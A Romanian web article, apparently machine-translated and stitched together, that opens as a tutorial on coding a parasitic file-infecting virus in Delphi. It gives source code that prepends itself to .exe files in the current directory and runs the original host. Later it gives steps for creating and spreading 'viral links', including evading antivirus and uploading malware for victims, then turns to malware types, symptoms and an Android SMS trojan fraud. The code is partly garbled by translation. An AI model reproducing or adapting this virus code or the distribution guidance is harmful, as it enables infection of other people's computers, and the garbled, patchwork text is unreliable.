Trimite virusul prin poștă fără descărcare. Hacking de mâinile altcuiva. Viruși de e-mail. Metode de influență a programelor malware

Clasificare

HLLO-Suprascrire limbaj de nivel înalt. Un astfel de virus rescrie programul cu corpul său. Acestea.
programul este distrus, iar când utilizatorul încearcă să ruleze programul, virusul pornește și „infectează” în continuare.

HLLC-High Level Language Companion. Majoritatea acestor viruși datează din vechime (cu 8-10 ani), când utilizatorii aveau DOS și erau foarte leneși. Acești viruși caută un fișier și, fără a-l schimba, își creează o copie, dar cu extensia .COM. Dacă un utilizator leneș îi scrie Linie de comanda numai numele fișierului, apoi DOS caută mai întâi fișierul COM, lansând virusul, care mai întâi își face treaba, apoi lansează fișierul EXE. Există o altă modificare
HLLC - mai modern (7 ani;)): Virusul redenumește fișierul, păstrând numele, dar schimbând extensia - de la EXE la, să zicem, OBJ sau MAP. Virusul înlocuiește fișierul original cu corpul său. Acestea. utilizatorul lansează un virus, care, după reproducere, lansează programul dorit - toată lumea este fericită.

HLLP-Limbaj de nivel înalt parazit. Cel mai avansat. Atribuiți-și corpul fișierului din față (virusul pornește mai întâi, apoi restaurează programul și îl rulează) sau din spate
- apoi în antetul programului scriem jmp lângă corpul virusului, lansând încă primul.

Putem lăsa programul în sine neschimbat, apoi va arăta astfel:

Ce este MZ, cred că ai ghicit :) Acestea sunt inițialele iubitului tău Mark Zbikowski, pe care le-a definit modest în semnătura fișierului exe :) Și le-am introdus aici doar ca să înțelegi
- infecția are loc conform principiului copiei /b virus.exe program.exe și nu există trucuri speciale aici. Nu acum. Dar tu și cu mine îi vom dărâma
- Fii sănătos:). Ei bine, de exemplu: puteți cripta primii 512 sau mai mulți octeți ai programului original cu orice algoritm cunoscut de dvs. - XOR/XOR, NOT/NOT, ADD/SUB, atunci va arăta astfel:

În acest caz, structura fișierului infectat nu va fi atât de clară.
Nu degeaba blabesc atât de mult aici (în clasificare, în sens)
- algoritmul parazitar este folosit de 90% dintre virusii moderni, indiferent de metoda lor de distributie. Bine, să trecem mai departe:

Virus de rețea. Poate fi oricare dintre cele de mai sus. Diferă prin faptul că distribuția sa nu este
limitată la un singur computer, această infecție ajunge cumva prin Internet sau rețeaua locală la alte mașini. Cred că scoți 3-4 dintre acești prieteni din cutia ta de săpun în mod regulat.
- iată un exemplu de virus de rețea. Și odată ce ajunge pe computerul altcuiva, infectează fișierele într-o manieră arbitrară sau nu le infectează deloc.

Viruși macro, viruși script, viruși IRC. Le-am pus într-un singur grup, deoarece aceștia sunt viruși scrisi în limbi încorporate în aplicații (MSOffice:)), scripturi (regulile VBS preferate aici) și scripturi IRC. Strict vorbind, de îndată ce o componentă de script suficient de puternică (și/sau leaky) apare într-o aplicație, imediat încep să se scrie viruși pe ea 😉 Apropo, macrovirusurile sunt foarte simple și sunt ușor de identificat prin euristică.

Codificare

Am ajuns acolo 🙂 Hai, lansează Delphi, omoară tot felul de ferestre și șterge toate prostiile din fereastra proiectului. Adică, ștergeți totul :) Vom lucra numai cu DPR care conține:

programul EVIL_VIRUS;
UTILIZAREA WINDOWS,SYSUTILS;
ÎNCEPE
Sfârşit;

Cred că ați înțeles deja logica virusului din clasificare - restaurăm și lansăm programul --> așteptăm să se finalizeze lucrul acestuia - -> ștergem „fișierul folosit” (am uitat să spun - NU TRATĂM pe cei infectați programul, transferăm codul original în fișierul din stânga și rulăm EXEMPLU: Fișierul infectat NOTEPAD.EXE Creați fișierul _NOTEPAD.EXE în același director cu codul original și rulăm).--> căutați un fișier neinfectat și infecta-l. Asta e tot :) Designul de bază al virusului arată exact așa.

Acum declara următoarele variabile și constante pentru creierul tău puternic:

VaR VirBuf, ProgBuf, MyBuf: matrice de char;
SR: TSearchRec;
My,pr: Fișier;
ProgSize,rezultat: întreg;
PN,st: String;
si: Tstartupinfo;
p:Tprocessinformation;
infectat: boolean;
CONST VirLen: longint= 1000000;

Prima linie conține matrice dinamice în care vom scrie corpul virusului și respectiv programul; Va fi scris în variabila SR
caracteristicile fișierului găsit care este candidat la infecție (sper că sunteți familiarizat cu procedurile FindFirst și FindNext, deoarece se va înrăutăți;)), My and
Pr este fișierul de unde am pornit și fișierul din stânga cu codul original al programului (am scris deja despre el mai sus). rezultat - rezultatul FindFirst, trebuie să fie egal cu zero,
ProgSize - dimensiunea codului programului. Restul este clar din cele ce urmează, cu excepția
infectat - acesta este un semn că fișierul găsit este infectat și
VirLen este lungimea codului virusului, veți afla abia după nuntă. Uf, am vrut să spun după compilare. Acestea. compilați, modificați valoarea constantei din sursă și recompilați.
Să codificăm mai departe :) Aici vedeți codul responsabil pentru restaurarea și lansarea programului infectat:

SetLength(virbuf,VirLen);
AssignFile(my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st,"c:\windows\program.exe",false);
IF FileSize (my)> VirLen atunci
ÎNCEPE
// Rulați programul
AssignFile(my,"c:\windows\program.exe);
Resetare(meu);
ProgSize:= FileSize(my)-VirLen;
BlockRead(my,virbuf,virlen);
SetLength(progbuf,pRogSize);
BlockRead(my,progbuf,progSize);
CloseFile(my);
PN:= "_"+ParamStr(0);
AssignFile(pr,PN);
ReWrite(pr);
BlockWrite(pr,progbuf,progSize);
CloseFile(pr);
FillChar(Si, SizeOf(Si) , 0);
cu Si do
ÎNCEPE
cb:= SizeOf(Si);
dwFlags:= startf_UseShowWindow;
wShowWindow:= 4;
Sfârşit;
PN:= PN+#0;
Createprocess(nil,@PN,nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//A pornit, programul a rulat. Hai sa o stergem :)
ErasE(pr);
Șterge (meu);

Totul aici este, în principiu, simplu și clar, cu excepția motivului pentru care am mutat întreg fișierul infectat în directorul Windows și ceea ce fac rândurile 3 până la 5 inclusiv.
Și am făcut asta pentru că am citit din fișierul care rulează incomod și posibil numai folosind CreateFile și ReadFile WinAPI. Vă voi spune despre codificare folosind WinAPI mai târziu, acum voi acoperi doar elementele de bază
- în Delphi.

Aceste linii sunt conversia șirului de caractere în pchar folosind metoda tradițională, deoarece acum ne luptăm pentru fiecare octet de cod. Un alt punct: am acționat incorect setând calea c:\windows atât de strict. Mai bine folosiți procedura GetWindowsDirectory, aflați cu siguranță :) Restul este clar fără comentarii (dacă nu
nu mai sari peste informatica;)), hai sa mergem mai departe:

rezultat:= FindFirst("*.exe",faAnyFile,sr);
WHILE Rezultat= 0 DO
ÎNCEPE
//Verificați păduchii
Infectat:= fals;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= "08/03/98 06:00:00" atunci infectat:= true;
//Verificat!
IF (infectat= fals) și (nume sr<>paramstr(0)) atunci
ÎNCEPE
AssignFile(my,sr.Name);
ReWrite(my);
BlockWrite(my,virbuf,virlen);
BlockWrite(my,progbuf,sr.Size);
CloseFile(my);
FileSetDate(sr.Name,DateTimeToFileDate(StrToDateTime("08/03/98 06:00:00")));
Sfârşit;
Sfârşit;

//Dacă virusul este lansat „curat”, adică nu dintr-un program infectat, apoi ieșim
sfârşit altfel oprire;

Ce vede aici ochiul tău ager? Așa este, procedura FindFirst caută victima dată (orice fișier exe din directorul curent), își transferă caracteristicile variabilei SR. Apoi trebuie să verificați dacă este contaminat. Acest lucru se face într-un mod original: atunci când este infectat, fișierului i se atribuie un def. data si ora. Și orice fișier cu astfel de caracteristici este considerat infectat. Orice altceva este din nou obscen de simplu, așa că trec fără probleme la concluzie :)

Concluzie

Așa că am codificat primul nostru virus. Deocamdată, poate infecta doar fișierele din directorul curent (deși sunt sigur că îl puteți actualiza cu ușurință ;)) și nu știe nimic despre alte directoare și Internet. Nu dispera, îl vom învăța repede. Deocamdată, jucați-vă cu aceste rânduri și așteptați următorul articol.

Aplicație

Mă voi aventura să vă fac o descriere a tuturor procedurilor folosite în articol. Acest lucru vă va ajuta să le căutați în ajutor și să vă pregătiți pentru codarea virușilor serioși folosind
WinAPI.

AssignFile - fără echivalent în WinAPI - se potrivește cu un fișier
cu o variabilă de tip File sau TextFile

Resetare - analogii _lopen și CreateFile - se deschide
fișier existent și stabilește poziția
citind până la început

ReWrite - _lcreate și CreateFile - creează fișier nouȘi
gură poziția de citire până la început. Dacă hrăniți
Rescrieți un fișier existent, conținutul acestuia
va fi resetat la zero

BlockRead - _lread și ReadFile - citește în buffer
o anumită cantitate de date dintr-un fișier

BlockWrite - _lwrite și, respectiv, WriteFile - scrie
date de arhivat

SeekFile - _llseek și SetFilePointer - mută poziția
citire/scriere în fișierul deschis

CloseFile - _lclose și CloseHandle - închide unul deschis
fişier

Erase - DeleteFile - ștergerea unui fișier

FindFirst - FindFirstFile - caută un fișier după criterii

FindNext - FindNextFile - caută următorul fișier

Sunt zile în care vrei să faci probleme cuiva în secret sau te decizi să creezi un virus care să fure date, orice date. Să ne imaginăm ca niște hackeri răi care au decis să ia măsuri. Să explorăm această artă imensă.

Definiția virusului

Istoria virușilor informatici datează din 1983, când Fred Cohen l-a folosit pentru prima dată.

Metode de influență a programelor malware

LA virușii informatici Sunt multe, dar nu toate sunt capabile de „reproducere”:

Viermi. Acestea infectează fișierele de pe computer; acestea pot fi orice fișiere, de la .exe la sectoarele de boot. Transmis prin chat, icq, e-mail.
cai troieni sau troieni. Sunt lipsiți de capacitatea independentă de a se răspândi: ajung pe computerul victimei datorită autorilor lor și terților.
Rootkit. Un ansamblu de diverse utilități software, atunci când pătrunde în computerul unei victime, câștigă drepturi de superutilizator, vorbim despre sisteme UNIX. Este un instrument multifuncțional pentru „acoperirea pistelor” în cazul intruziunii într-un sistem folosind sniffer, scanere, keylogger și aplicații troiene. Capabil să infecteze un dispozitiv care rulează un sistem de operare Microsoft Windows. Ei captează tabele de apeluri și funcțiile acestora, metode de utilizare a driverelor.
Extorsioniştii. Un astfel de malware împiedică utilizatorul să se conecteze la dispozitiv, forțându-l să plătească o răscumpărare. Evenimentele ransomware majore recente includ WannaCry, Petya, Cerber, Cryptoblocker și Locky. Toți au cerut criptomoneda Bitcoin pentru returnarea accesului la sistem.

Keylogger. Monitorizează introducerea autentificărilor și a parolelor pe tastatură. Înregistrează toate clicurile și apoi trimite un jurnal de acțiuni către un server la distanță, după care atacatorul folosește aceste date la propria discreție.
Sniffers. Analizează datele din card de retea, înregistrează jurnalele prin ascultare, conectând un sniffer atunci când canalul este întrerupt, ramificând o copie a traficului cu un sniffer și, de asemenea, prin analiza laterală radiatie electromagnetica, atacuri la nivel de legătură sau rețea.
Botnet sau rețea zombie. O astfel de rețea constă din mai multe computere care formează o singură rețea și sunt infectate cu malware pentru a obține acces la un hacker sau alt atacator.
Exploatările. Acest tip de malware poate fi util piraților, deoarece exploit-urile sunt cauzate de erori în procesul de dezvoltare a software-ului. Acesta este modul în care atacatorul obține acces la program și apoi la sistemul utilizatorului, dacă asta a intenționat hackerul. Au o clasificare separată bazată pe vulnerabilități: zero-day, DoS, spoofing sau XXS.

Căile de distribuție

Conținut rău intenționat poate ajunge pe dispozitivul dvs căi diferite:

Legătură virală.
Acces la server sau retea locala, prin care va fi distribuită aplicația rău intenționată.
Executarea unui program infectat cu un virus.
Lucrul cu aplicații de pachete Microsoft Office atunci când, folosind viruși macro document, un virus se răspândește în întregul computer personal al utilizatorului.

Vizualizați atașamentele primite împreună cu mesajele E-mail, și au ajuns să aibă programe și documente infectate.
Pornirea unui sistem de operare de la unul infectat disc de sistem.
Instalarea unui sistem de operare pre-infectat pe un computer.

Unde se pot ascunde virușii?

Când se face o legătură virală și lansați un program care începe lucrul ascuns calculator personal, atunci unii viruși și alte programe rău intenționate sunt capabile să-și ascundă datele în sistem sau în fișiere executabile, a cărui extensie poate fi de următorul tip:

.com, .exe - ați descărcat un program, dar s-a dovedit a fi un virus;
.bat - fișiere batch, care conțin algoritmi specifici pentru sistemul de operare;
.vbs - fișiere de program în limbaj Visual Basic pentru Aplicare;
.scr - fișiere de programe de salvare de ecran care fură date de pe ecranul dispozitivului;
.sys - fișiere driver;
.dll, .lib, .obj - fișiere de bibliotecă;
.doc - document Microsoft Word;
.xls - document Microsoft Excela;
.mdb - document Microsoft Access;
.ppt - document Power Point;
.dot - șablon de cerere pachete Microsoft Birou.

Semne

Orice boală sau infecție apare într-o fază latentă sau într-o fază deschisă; acest principiu este, de asemenea, inerent în faza dăunătoare. software:

Dispozitivul a început să funcționeze defectuos; programele care anterior funcționau bine au început brusc să încetinească sau să se blocheze.
Muncă lentă dispozitive.
Problemă la pornirea sistemului de operare.
Fișierele și directoarele dispar sau conținutul lor se modifică.
Conținutul fișierului poate fi modificat.
Modificarea timpului de modificare a fișierului. Este posibil să observați dacă folderul este în vizualizarea listă sau vă uitați la proprietatea articolului.
Creșterea sau scăderea numărului de fișiere de pe disc și, ulterior, creșterea sau scăderea cantității de memorie disponibilă.
Memorie cu acces aleator devine mai mic datorită muncii serviciilor și programelor terțe.

Afișați imagini șocante sau alte imagini pe ecran fără intervenția utilizatorului.
Bipuri ciudate.

Metode de protecție

Este timpul să ne gândim la modalități de a vă proteja împotriva intruziunilor:

Metode software. Acestea includ antivirusuri, firewall-uri și alte programe de securitate.
Metode hardware. Protecție împotriva interferențelor externe la porturile sau fișierele dispozitivului, direct atunci când accesați hardware-ul.
Metode organizatorice de protectie. Acestea sunt măsuri suplimentare pentru angajați și alte persoane care pot avea acces la sistem.

Cum să găsești o listă de link-uri virale? Datorită internetului, puteți descărca servicii, de exemplu, de la Dr.Web. Sau utilizați un serviciu special pentru a afișa toate posibilele link-uri dăunătoare. Există o listă de link-uri virale acolo. Tot ce rămâne este să alegeți cea mai potrivită opțiune.

Legătură virală

Nu uitați că utilizarea programelor viruși este pedepsită prin lege!

Să trecem la cel mai important pas - crearea de link-uri virale și descoperirea cum să le distribuim.

Selectarea sistemului de operare de atacat. Cel mai adesea acesta este Microsoft Windows, deoarece este mai răspândit decât alte sisteme, mai ales când vine vorba de versiuni mai vechi. În plus, mulți utilizatori nu își actualizează sistemele de operare, lăsându-i vulnerabili la atacuri.
Alegerea unei metode de distribuție. Cum se creează link viral, care nu se va răspândi? În nici un caz. Pentru a face acest lucru, îl puteți împacheta într-un fișier executabil, într-o macrocomandă în Microsoft Office sau într-un script web.
A sti slăbiciune pentru atac. Sfat: dacă un utilizator descarcă software piratat, de obicei dezactivează antivirusul sau nu îi acordă atenție din cauza prezenței unei tablete în reambalare, deci aceasta este o altă modalitate de a pătrunde.
Determinăm funcționalitatea virusului dumneavoastră. Puteți testa pur și simplu antivirusul pentru a vedea dacă vă poate detecta virusul sau puteți utiliza malware-ul în scopuri mai extinse, cum ar fi ștergerea fișierelor, vizualizarea mesajelor și alte acțiuni.
Pentru a scrie ceva, va trebui să alegi o limbă. Puteți folosi orice limbaj, sau chiar mai multe, dar C și C++ sunt cele mai multe utilizate; pentru virușii macro există Microsoft Office. Îți poți da seama cu ajutorul lecțiilor de pe Internet. Visual Basic este un mediu de dezvoltare.
E timpul să creezi. Acest lucru poate dura mult timp. Nu uitați de modalitățile de a ascunde virusul programe antivirus, altfel programul dumneavoastră va fi găsit și neutralizat rapid. Nu este un fapt că vei răni grav pe cineva, așa că dormi bine. Cu toate acestea, rețineți că trebuie să fiți responsabil pentru orice software rău intenționat! Aflați mai multe despre codul polimorf.
Consultați metodele de ascundere a codului.
Verificați funcționalitatea virusului mașină virtuală.
Încărcați-l în rețea și așteptați primii „clienți”.

Un link viral pentru un telefon este creat aproximativ în același mod, dar cu dispozitivele iOS va trebui să suferi, de acolo sistem bun protecție, spre deosebire de Android. Cu toate acestea, în ultimele versiuni Am reușit să reparăm multe găuri în sistemul de securitate. Nu uitați că există încă dispozitive vechi și știind „dragostea” dezvoltatorilor terți de a crea versiuni noi, majoritatea dispozitivelor Android sunt în pericol.

Utilizatorii nu pot recunoaște întotdeauna un virus pe telefonul lor mobil și, în consecință, nu pot șterge programul rău intenționat sau nu pot lua nicio acțiune înainte ca virusul să obțină acces la datele personale.

Pe acest moment Telefoanele inteligente cu Android sunt considerate cele mai vulnerabile. Un nou virus a apărut prin SMS pe Android.

În smartphone-urile cu sursa deschisa, care este exact ceea ce este sistem de operare Android, noi viruși se răspândesc cu o viteză incredibilă.

Acum s-au schimbat. Anterior, ei încercau să folosească bani doar în telefoanele mobile, dar astăzi sunt sub amenințarea armei carduri bancareși toate fondurile disponibile în banca de internet. Escrocii sunt interesați în primul rând de smartphone-urile care acceptă serviciul Mobile Bank. Vă permite să furați bani din contul victimei folosind numărul escrocului. Pentru a face acest lucru, ei trimit virusul prin SMS către Android.

Cum operează escrocii

Primul astfel de virus a devenit activ la începutul verii 2017. Pericolul este ca troianul să opereze de la distanță pe un smartphone Android.

Atacatorii trimit SMS-uri către numărul dorit, prin urmare, pentru a identifica prezența acestui virus în dumneavoastră gadget mobil Posesorii de smartphone-uri ar trebui să acorde atenție creșterii numărului de mesaje SMS la prețul de 100 de ruble. Ca urmare, o sumă divizibilă cu 100 este retrasă din contul mobil al proprietarului smartphone-ului.

Pentru a câștiga bani semnificativi, un atacator este forțat să trimită mai multe SMS-uri troiene de la numărul victimei sale. La urma urmei, nu este singurul care lucrează în acest lanț fraudulos.

Troianul se instalează în gadgetul victimei și trimite SMS-uri de la numărul victimei la numărul „drag” al escrocilor. Și pentru aceste mesaje SMS adresate acestui număr „scump” victima este taxată cu 100 de ruble. pentru fiecare mesaj SMS neautorizat.

Intermediarii din această schemă pot fi un operator de telecomunicații, un furnizor și alți parteneri care ar putea să nu știe despre trucurile escrocilor. Pentru a acoperi toate cheltuielile și pentru a câștiga bani, atacatorul trebuie să retragă cel puțin 1.000 de ruble din fiecare număr.

În același timp, nu putem exclude posibilitatea ca posesorii de smartphone-uri să se plângă operatorului lor de furtul de bani. Și apoi iau măsuri de răzbunare pentru a preveni frauda. De exemplu, pot introduce o cerință de a introduce confirmări suplimentare înainte de a debita bani și altele asemenea. Într-o astfel de situație, atacatorii sunt nevoiți să caute noi metode de fraudă.

Datorită acestor factori, a apărut un alt troian. Acest reprezentant al Trojan-SMS execută și comenzile primite de la serverul de la distanță.

Noul virus este mai flexibil și navighează perfect în orice condiții, ținând cont de bariere operator mobil, și chiar starea contului abonatului și momentul tranzacțiilor.

Cum funcționează virusul

Noul virus este latent - nu are independență. Chiar și atunci când intră într-un smartphone, nu apare în niciun fel. Pentru ca acesta să funcționeze, este necesară o comandă de la distanță de la proprietarul telefonului.

Pentru aceasta se folosește așa-numita cerere POST. Este destinat unei cereri în care serverul web acceptă date incluse în corpul mesajului pentru stocare. Este adesea folosit, de exemplu, pentru a descărca un fișier.

Utilizarea unei cereri POST vă permite să comunicați cu server la distantași primiți comanda corespunzătoare, după ce a primit troianul începe să trimită mesaje SMS scumpe de la numerele victimelor sale la numărul escrocilor.

Cum funcționează noul troian? De exemplu, programul trimite automat mesaje SMS cu un cuvânt „BALANCE” către un număr care acceptă Mobile Banking.

Prin trimiterea unui mesaj SMS de la număr scurt, escrocii pot verifica astfel dacă numărul victimei este legat de un cont bancar și care este starea contului.

Exemple din viață

De exemplu, Sberbank are un număr de la care sunt trimise mesajele - 900. Când mesajul „BALANCE” (sau, poate, în rusă „sold”) sosește de la expeditor 900, proprietarul telefonului, având încredere în Sberbank și fiind încrezător că acest mesaj este de la această bancă, deschide mesajul și îi răspunde, dorind să știe ce s-a întâmplat cu soldul. În acest fel, escrocii primesc un răspuns la SMS-ul lor, ceea ce pentru ei înseamnă că există o conexiune atașată la telefon. card bancar. Mai mult, le devine clar că acest card poate fi gestionat folosind comenzi SMS, care este inclus în serviciul Mobile Bank. Și apoi, după cum se spune, „o chestiune de tehnică”.

Unul dintre prietenii mei a primit recent mesaje de la numărul scurt 4-74-1, care este înregistrat la banca mobilă Sberbank cu mesajul „Serviciul este indisponibil, încercați din nou mai târziu”. Din motive evidente, ea nu a trimis un răspuns, știind deja despre posibilele amenințări. Se pare că aceștia sunt aceiași escroci, deghându-se ca o bancă mobilă, în acest fel au încercat să calculeze reacția ei și să stabilească dacă pe smartphone-ul ei a fost instalată o bancă mobilă.